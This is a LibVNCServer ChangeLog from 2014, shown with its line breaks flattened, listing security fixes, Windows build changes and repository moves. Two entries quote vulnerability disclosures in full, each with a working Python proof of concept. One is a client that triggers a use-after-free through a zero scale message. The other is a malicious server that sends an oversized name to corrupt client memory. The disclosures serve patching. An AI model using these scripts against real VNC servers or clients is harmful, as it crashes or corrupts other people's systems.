12014-10-21 Christian Beier <dontmind@freeshell.org> 2 3 * NEWS: Update NEWS. 4 52014-10-21 Christian Beier <dontmind@freeshell.org> 6 7 * libvncserver/sockets.c: Update comments regarding 8 rfbClientConnectionGone(). 9 102014-10-21 Christian Beier <dontmind@freeshell.org> 11 12 * libvncserver/scale.c: Fix Use-After-Free vulnerability in 13 LibVNCServer wrt scaling. Reported by Ken Johnson <Ken.Johnson1@telus.com>. The vulnerability would occur in both the rfbPalmVNCSetScaleFactor 14 and rfbSetScale cases in the rfbProcessClientNormalMessage function 15 of rfbserver.c. Sending a valid scaling factor is required 16 (non-zero) if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not 17 accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, 18 sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n", 19 msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, 20 cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); << This is the call that can trigger 21 a free. return; at the end, both cases there is a call the rfbSendNewScaleSize 22 function, where if the connection is subsequently disconnected after 23 sending the VNC scaling message can lead to a free occurring. else { rfbResizeFrameBufferMsg rmsg; rmsg.type = rfbResizeFrameBuffer; rmsg.pad1=0; rmsg.framebufferWidth = 24 Swap16IfLE(cl->scaledScreen->width); rmsg.framebufferHeigth 25 = Swap16IfLE(cl->scaledScreen->height); rfbLog("Sending a response 26 to a UltraVNC style frameuffer resize event (%dx%d)\n", 27 cl->scaledScreen->width, cl->scaledScreen->height); if 28 (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) { 29 rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); << Call which may can lead 30 to a free. return FALSE; } } return TRUE; Once this function returns, eventually rfbClientConnectionGone is 31 called again on the return from rfbProcessClientNormalMessage. In 32 KRFB server this leads to an attempt to access client->data. POC script to trigger the vulnerability: ---snip--- import socket,binascii,struct,sys from time import sleep class RFB: INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" AUTH_NO_PASS = "\x01" AUTH_PASS = "\x02" SHARE_DESKTOP = "\x01" def AUTH_PROCESS(self,data,flag): if flag == 0: # Get security types secTypeCount = data[0] secType = {} for i in range(int(len(secTypeCount))): secType[i] = data[1] return secType elif flag == 1: # Get auth result # 0 means auth success # 1 means failure return data[3] def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD): try: from Crypto.Cipher import DES except: print "Error importing crypto. Please fix or do not 33 require authentication" sys.exit(1) if len(PASSWORD) != 8: PASSWORD = PASSWORD.ljust(8, '\0') PASSWORD_SWAP = 34 35 [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]PASSWORD = 36 37 38 39 (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = DES.new(PASSWORD) return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python setscale_segv_poc.py <host> <port> 40 [password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occured.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap--- 41 422014-10-14 dscho <johannes.schindelin@gmx.de> 43 44 * : Merge pull request #43 from maksqwe/fix_rfbSelectBox Fix selData.buttonWidth calculation 45 462014-10-10 Christian Beier <dontmind@freeshell.org> 47 48 * libvncclient/rfbproto.c: Fix possible libvncclient ServerInit 49 memory corruption. This fixes the following oCERT report (oCERT-2014-008 pt.2): There is a similar vulnerability to the previous one I sent. This is 50 related to the ServerInit message where the width, the height of the 51 server's framebuffer, its pixel format, and the name are sent to the 52 client. The name can be used in a malicious manner to trigger a 53 memory corruption in the client. Field Size --------------------------------- name-length 54 [4] name-string [name-length] Below you will find a PoC script to show the vulnerability. This was 55 tested on Fedora 20 with the latest version of krdc. I have noticed something, where the memory corruption causes the 56 program to hang but allows you to try to disconnect. After this it 57 hangs. Occasionally there will be segmentation fault in memcpy. This 58 can become more reliable if you connect to a different VNC server 59 first (Or the wrong port on the malicious server) then connecting to 60 the malicious port. Every time I accidentally made the wrong VNC 61 connection attempt the next time I connected it segfault'd. Just run the script it will listen on port 5900 and connect to it 62 with krdc for example. I have observed Remmina crash more reliably. import socket,struct,sys HOST = "" PORT = 5900 c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 63 c.bind((HOST,PORT)) c.listen(1) conn,addr = c.accept() print "Connected by ", addr protocolVersion3008 = 64 "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" 65 conn.send(protocolVersion3008) data = conn.recv(1024) # Receive the version from them. secTypeNone = "\x01\x01" secTypeAuth = "\x01\x02" 66 conn.send(secTypeNone) data = conn.recv(1024) # Receive the secType choice from them. secResultOk = "\x00" * 4 secResultNo = "\x00\x00\x00\x01" 67 conn.send(secResultOk) data = conn.recv(1024) # Receive the ClientInit (Shared-flag). frameBufferWidth = 0x0480 frameBufferHeight = 0x0360 bitsPerPixel = 68 0x20 depth = 0x18 bigEndian = 0x1 trueColor = 0x0 redM = 0x0 greenM 69 = 0x0 blueM = 0x0 redS = 0x0 greenS = 0x0 blueS = 0x0 padding = 70 "\x00\x00\x00" nameLength = 0xffffffff nameString = "AA" * 0xFFFF + 71 "\x00\x0a" conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, 72 frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, 73 greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", 74 nameLength) + nameString ) c.close() 75 762014-10-10 Christian Beier <dontmind@freeshell.org> 77 78 * libvncclient/sockets.c: Fix potential memory corruption in 79 libvncclient. Fixes (maybe amongst others) the following oCERT report 80 ([oCERT-2014-008]): LibVNCServer HandleRFBServerMessage rfbServerCutText malicious 81 msg.sct.length It looks like there may be a chance for potential memory corruption 82 when a LibVNCServer client attempts to process a Server Cut Text 83 message. case rfbServerCutText: { char *buffer; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) return FALSE; msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); << 84 Retrieve malicious length buffer = malloc(msg.sct.length+1); << Allocate buffer. Can 85 return 0x0 if (!ReadFromRFBServer(client, buffer, msg.sct.length)) << 86 Attempt to write to buffer return FALSE; buffer[msg.sct.length] = 0; << Attempt to write to buffer if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); << 87 Attempt to write to buffer free(buffer); break; } If a message is provided with an extremely large size it is possible 88 to cause the malloc to fail, further leading to an attempt to write 89 0x0. 90 912014-10-09 Christian Beier <dontmind@freeshell.org> 92 93 * NEWS: Update NEWS for 0.9.10. 94 952014-10-09 Christian Beier <dontmind@freeshell.org> 96 97 * AUTHORS: Update AUTHORS. 98 992014-10-07 dscho <johannes.schindelin@gmx.de> 100 101 * : Merge pull request #42 from LibVNC/autotools-fix-revisited Add autoconf macros that might not be installed with a usual 102 autotools setup 103 1042014-10-07 Johannes Schindelin <johannes.schindelin@gmx.de> 105 106 * autogen.sh: Add back a working autogen.sh There was no reason to get rid of the convenient script. Most 107 developers who are not in love with autoconf fail to remember that 108 autoreconf invocation, therefore it is better to have something 109 working in place. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 110 1112014-09-01 Nicolas Ruff <nruff@google.com> 112 113 * libvncserver/rfbserver.c: Fix stack-based buffer overflow There was a possible buffer overflow in rfbFileTransferOffer message 114 when processing the FileTime. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 115 1162014-10-07 dscho <johannes.schindelin@gmx.de> 117 118 * : Merge pull request #41 from newsoft/master Fixing 2 security issues 119 1202014-10-06 newsoft <newsoft@gmx.fr> 121 122 * libvncserver/scale.c: Make sure that no integer overflow could 123 occur during scaling 124 1252014-10-06 Christian Beier <dontmind@freeshell.org> 126 127 * libvncclient/Makefile.am: Add libvncclient/h264.c to dist tarball. Otherwise the sources from a 'make dist' package wouldn't compile. 128 1292014-10-03 Christian Beier <dontmind@freeshell.org> 130 131 * m4/.gitignore: Really add empty m4 subdirectory. This change kinda got lost with the last commit re-splitting. 132 1332014-10-02 Christian Beier <dontmind@freeshell.org> 134 135 * : Merge pull request #38 from LibVNC/autotools-fix-revisited Autotools fix revisited. 136 1372014-10-02 Christian Beier <dontmind@freeshell.org> 138 139 * webclients/novnc/LICENSE.txt, webclients/novnc/README.md, 140 webclients/novnc/include/base.css, 141 webclients/novnc/include/base64.js, 142 webclients/novnc/include/black.css, 143 webclients/novnc/include/blue.css, 144 webclients/novnc/include/chrome-app/tcp-client.js, 145 webclients/novnc/include/des.js, 146 webclients/novnc/include/display.js, 147 webclients/novnc/include/input.js, 148 webclients/novnc/include/jsunzip.js, 149 webclients/novnc/include/keyboard.js, 150 webclients/novnc/include/keysym.js, 151 webclients/novnc/include/keysymdef.js, 152 webclients/novnc/include/playback.js, 153 webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js, 154 webclients/novnc/include/util.js, 155 webclients/novnc/include/web-socket-js/web_socket.js, 156 webclients/novnc/include/websock.js, 157 webclients/novnc/include/webutil.js, webclients/novnc/vnc.html, 158 webclients/novnc/vnc_auto.html: Update noVNC HTML5 client to latest 159 version from https://github.com/kanaka/noVNC. 160 1612014-09-21 Brian Bidulock <bidulock@openss7.org> 162 163 * .gitignore: add a few more ignores 164 1652014-09-21 Brian Bidulock <bidulock@openss7.org> 166 167 * autogen.sh: removed autogen.sh - no longer applicable: use autoreconf -fiv 168 1692014-10-02 Christian Beier <dontmind@freeshell.org> 170 171 * INSTALL, acinclude.m4, ltmain.sh: Remove autotools-related files 172 that will get installed by autoreconf -i. 173 1742014-10-02 Brian Bidulock <bidulock@openss7.org> 175 176 * Makefile.am, configure.ac: Use an m4 script subdirectory, fix 177 automake init and two macro names. 178 1792014-10-02 Brian Bidulock <bidulock@openss7.org> 180 181 * client_examples/Makefile.am, examples/Makefile.am, 182 examples/android/Makefile.am, libvncclient/Makefile.am, 183 libvncserver/Makefile.am, test/Makefile.am: Rename obsolete INCLUDES 184 to AM_CPPFLAGS 185 1862014-09-30 Johannes Schindelin <johannes.schindelin@gmx.de> 187 188 * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c: 189 Close unclosed comments ;-) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 190 1912014-09-30 dscho <johannes.schindelin@gmx.de> 192 193 * : Merge pull request #36 from danielgindi/master A forgotten `#ifdef WIN32` broke UNIX build. 194 1952014-09-30 dscho <johannes.schindelin@gmx.de> 196 197 * : Merge pull request #33 from danielgindi/master More MSVC adjustments, now focuses on the libvncserver 198 1992014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com> 200 201 * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c: 202 These are UNIX headers, and are not available on MSVC 203 2042014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com> 205 206 * rfb/rfb.h: Those are generally the windows headers, not just MinGW 207 2082014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com> 209 210 * libvncserver/rfbserver.c: On windows, use the Win32 calls for 211 directory enumerations. We also do not need the conversion between UNIX values to Windows 212 values in the RTF_FIND_DATA struct, as we already are on windows. 213 2142014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com> 215 216 * libvncserver/httpd.c, libvncserver/rfbserver.c, 217 libvncserver/sockets.c, rfb/rfbclient.h: Generally adjusting headers 218 for compiling on windows without the mixing of Winsock 1 and 2. 219 2202014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com> 221 222 * libvncserver/rfbserver.c: Just use a macro to bridge to the Win32 223 version of `mkdir` The additional compat_mkdir function was not necessary at all. 224 2252014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com> 226 227 * compat/msvc/sys/time.h: Use correct `winsock2.h` version header 228 instead of winsock.h. `windows.h` is referring to `winsock.h` (unless the 229 `WIN32_LEAN_AND_MEAN` is defined). The structs used in this header 230 are defined in `winsock2.h` or in `winsock.h`, but we are using 231 Winsock2 of course! So we have to include winsock2.h and refrain 232 from including windows.h here 233 2342014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com> 235 236 * libvncserver/httpd.c, libvncserver/rfbserver.c, 237 libvncserver/sockets.c: Fixed a violation of the C89 standard 238 ("declarations must come before instructions") 239 2402014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com> 241 242 * libvncserver/tightvnc-filetransfer/filetransfermsg.c: A windows 243 version for directory enumerations Basically taken from https://github.com/danielgindi/FileDir with 244 some adjustments 245 2462014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com> 247 248 * libvncserver/tightvnc-filetransfer/filetransfermsg.c: MSVC also 249 has the __FUNCTION__ predefined 250 2512014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com> 252 253 * libvncserver/tightvnc-filetransfer/filetransfermsg.c, 254 libvncserver/tightvnc-filetransfer/filetransfermsg.h: 255 `CreateDirectory` might clash with the 256 `CreateDirectoryA`/`CreateDirectoryW` macros on MSVC 257 2582014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com> 259 260 * libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fail when 261 NULL is passed to CreateFileListInfo() Passing NULL to sprintf() would most likely crash the program. 262 2632014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com> 264 265 * libvncclient/rfbproto.c, libvncclient/vncviewer.c, 266 libvncserver/rfbserver.c, libvncserver/sockets.c, 267 libvncserver/stats.c, libvncserver/websockets.c: `strings.h` and 268 `resolv.h` are not available on MSVC, and some POSIX functions are 269 renamed or deprecated For all of those missing/deprecated POSIX functions, we just add a 270 macro mapping to the _underscored version of MSVC. 271 2722014-09-09 Christian Beier <dontmind@freeshell.org> 273 274 * client_examples/Makefile.am: The HAVE_X11 define is not there 275 anymore, but we don't need it either. 276 2772014-09-09 Christian Beier <dontmind@freeshell.org> 278 279 * Makefile.am, configure.ac, vncterm/ChangeLog, vncterm/LinuxVNC.c, 280 vncterm/Makefile.am, vncterm/README, vncterm/TODO, 281 vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h, 282 vncterm/example.c, vncterm/vga.h: Move vncterm to 283 https://github.com/LibVNC/vncterm. 284 2852014-09-09 Christian Beier <dontmind@freeshell.org> 286 287 * VisualNaCro/.gitignore, VisualNaCro/AUTHORS, 288 VisualNaCro/ChangeLog, VisualNaCro/Makefile.am, VisualNaCro/NEWS, 289 VisualNaCro/README, VisualNaCro/autogen.sh, 290 VisualNaCro/configure.ac, VisualNaCro/default8x16.h, 291 VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: 292 Move VisualNaCro to https://github.com/LibVNC/VisualNaCro. 293 2942014-09-09 Christian Beier <dontmind@freeshell.org> 295 296 * prepare_x11vnc_dist.sh: Move prepare_x11vnc_dist.sh over to x11vnc 297 repo. 298 2992014-09-03 Christian Beier <dontmind@freeshell.org> 300 301 * Makefile.am, configure.ac: Remove x11vnc from autotools build 302 system. 303 3042014-09-03 Christian Beier <dontmind@freeshell.org> 305 306 * tightvnc-1.3dev5-vncviewer-alpha-cursor.patch: Remove 307 tightvnc-1.3dev5-vncviewer-alpha-cursor.patch. 308 3092014-09-03 Christian Beier <dontmind@freeshell.org> 310 311 * x11vnc/.cvsignore, x11vnc/8to24.c, x11vnc/8to24.h, 312 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, 313 x11vnc/RELEASE-NOTES, x11vnc/allowed_input_t.h, x11vnc/appshare.c, 314 x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/blackout_t.h, 315 x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/connections.c, 316 x11vnc/connections.h, x11vnc/cursor.c, x11vnc/cursor.h, 317 x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h, 318 x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h, 319 x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c, 320 x11vnc/linuxfb.h, x11vnc/macosx.c, x11vnc/macosx.h, 321 x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c, 322 x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, 323 x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h, 324 x11vnc/misc/.cvsignore, x11vnc/misc/LICENSE, 325 x11vnc/misc/Makefile.am, x11vnc/misc/README, x11vnc/misc/Xdummy, 326 x11vnc/misc/blockdpy.c, x11vnc/misc/connect_switch, 327 x11vnc/misc/desktop.cgi, x11vnc/misc/dtVncPopup, 328 x11vnc/misc/enhanced_tightvnc_viewer/COPYING, 329 x11vnc/misc/enhanced_tightvnc_viewer/README, 330 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, 331 x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat, 332 x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat, 333 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, 334 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/downl 335 oad.url, 336 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/down 337 load.url, 338 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/loca 339 tion.url, 340 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/downlo 341 ad.url, 342 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licenc 343 e.url, 344 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/down 345 load.url, 346 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca 347 tion.url, 348 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/do 349 wnload.url, 350 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/lo 351 cation.url, 352 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.co 353 nf, 354 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.co 355 nf, 356 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url, 357 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cp 358 over, 359 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc 360 viewer.sh, 361 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover, 362 x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc, 363 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 364 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 365 x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc, 366 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 367 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 368 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf, 369 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 370 x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt, 371 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, 372 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 373 x11vnc/misc/enhanced_tightvnc_viewer/src/README, 374 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README, 375 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 376 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, 377 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied, 378 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa 379 tch, 380 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 381 ll.patch, 382 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 383 llscreen.patch, 384 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne 385 wfbsize.patch, 386 x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README, 387 x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop, 388 x11vnc/misc/inet6to4, x11vnc/misc/panner.pl, 389 x11vnc/misc/qt_tslib_inject.pl, x11vnc/misc/ranfb.pl, 390 x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/misc/shm_clear, 391 x11vnc/misc/slide.pl, x11vnc/misc/turbovnc/Makefile.am, 392 x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc, 393 x11vnc/misc/turbovnc/convert, 394 x11vnc/misc/turbovnc/convert_rfbserver, 395 x11vnc/misc/turbovnc/tight.c, x11vnc/misc/turbovnc/turbojpeg.h, 396 x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/misc/uinput.pl, 397 x11vnc/misc/ultravnc_repeater.pl, x11vnc/misc/vcinject.pl, 398 x11vnc/misc/x11vnc_loop, x11vnc/misc/x11vnc_pw, x11vnc/nox11.h, 399 x11vnc/nox11_funcs.h, x11vnc/options.c, x11vnc/options.h, 400 x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c, 401 x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c, 402 x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c, 403 x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c, 404 x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h, 405 x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/sslhelper.c, 406 x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc, 407 x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h, 408 x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, 409 x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c, 410 x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h, x11vnc/win_utils.c, 411 x11vnc/win_utils.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1, 412 x11vnc/x11vnc.c, x11vnc/x11vnc.desktop, x11vnc/x11vnc.h, 413 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, 414 x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c, 415 x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h, 416 x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c, 417 x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Remove 418 x11vnc subdir. The new x11vnc repo is at https://github.com/LibVNC/x11vnc. 419 4202014-09-02 Johannes Schindelin <johannes.schindelin@gmx.de> 421 422 * libvncclient/tls_openssl.c: Fix tv_usec calculation This bug was introduced in the MSVC patches. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 423 4242014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com> 425 426 * libvncclient/tls_openssl.c: Use Windows' critical sections to 427 emulate pthread's mutexes With Microsoft Visual C++, we cannot use pthreads (MinGW sports an 428 emulation library which is the reason we did not need 429 Windows-specific hacks earlier). Happily, it is very easy to provide 430 Windows-specific emulations for the pthread calls we use. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 431 4322014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com> 433 434 * libvncclient/zrle.c: Perform pointer arithmetic on char * instead 435 of void * Microsoft Visual C++ does not allow pointer arithmetic on void 436 pointers. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 437 4382014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com> 439 440 * libvncclient/tls_openssl.c, rfb/rfbproto.h: MSVC: Use the Unix 441 emulation headers [JES: provided commit message, split out unrelated changes] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 442 4432014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com> 444 445 * libvncclient/listen.c, libvncclient/sockets.c, 446 libvncclient/vncviewer.c: Use WIN32 for Windows-specific #ifdef 447 guards To support Microsoft Visual C++, we must not guard Windows-specific 448 code in MinGW-specific #ifdef guards. Happily, even 64-bit MSVC defines the WIN32 constant, therefore we 449 can use that instead. [JES: fixed commit message, reordered commit, split out unrelated 450 changes] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 451 4522014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com> 453 454 * compat/msvc/stdint.h, compat/msvc/sys/time.h, 455 compat/msvc/unistd.h: Add MSVC compatible unix headers The stdint.h file was copied from: 456 https://runexe.googlecode.com/svn-history/r9/trunk/src/runlib/msstdint.h(we can incorporate it because it is licensed under the 3-clause BSD 457 license.) [JES: fixed commit message, fixed stripped copyright header] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 458 4592014-09-01 Daniel Cohen Gindi <danielgindi@gmail.com> 460 461 * libvncclient/rfbproto.c, libvncclient/sockets.c, 462 libvncclient/tls_openssl.c: MSVC: Use _snprintf instead of snprintf In Microsoft's Visual C runtime, the snprintf() function is actually 463 called _snprintf. Let's just #define the former to call the latter. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 464 4652014-09-01 Daniel Cohen Gindi <danielgindi@gmail.com> 466 467 * rfb/rfbproto.h: Use correct winsock header We link to ws2_32.lib which corresponds to the winsock2.h header, 468 not the winsock.h header. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 469 4702014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com> 471 472 * libvncclient/vncviewer.c: Include Winsock2 header before windows.h 473 include That's because there are duplicate #defines, and when Winsock2 is 474 defined before windows.h then windows.h detects that and prevent 475 redefinition. See 476 477 http://social.msdn.microsoft.com/Forums/windowsdesktop/en-US/4a90b143-1fb8-43e9-a54c-956127e0c579/windowsh-and-winsock2h?forum=windowssdk[JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 478 4792014-09-01 Daniel Cohen Gindi <danielgindi@gmail.com> 480 481 * libvncclient/tls_openssl.c: Remove unused variables This change is technically not required to support MSVC, but it was 482 detected by Microsoft's compiler. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 483 4842014-08-26 dscho <johannes.schindelin@gmx.de> 485 486 * : Merge pull request #21 from newsoft/master Fixing two more security issues (remote server crash) 487 4882014-08-18 Nicolas Ruff <nruff@google.com> 489 490 * libvncserver/rfbserver.c: Check malloc() return value on 491 client->server ClientCutText message. Client can send up to 2**32-1 492 bytes of text, and such a large allocation is likely to fail in case 493 of high memory pressure. This would in a server crash (write at 494 address 0). 495 4962014-08-16 dscho <johannes.schindelin@gmx.de> 497 498 * : Merge pull request #16 from sandsmark/master Merge patches from KDE/krfb 499 5002014-08-16 Johannes Schindelin <johannes.schindelin@gmx.de> 501 502 * acinclude.m4: Fix whitespace Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 503 5042014-08-10 Luca Falavigna <dktrkranz@debian.org> 505 506 * acinclude.m4: Enable support for ppc64el architecture 507 5082014-08-10 Luca Falavigna <dktrkranz@debian.org> 509 510 * libvncclient.pc.in, libvncserver.pc.in: Use Libs.private to avoid 511 unnecessary linkage 512 5132014-08-16 Johannes Schindelin <johannes.schindelin@gmx.de> 514 515 * libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix indentation Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 516 5172014-08-16 dscho <johannes.schindelin@gmx.de> 518 519 * : Merge pull request #20 from newsoft/master Fix integer overflow in 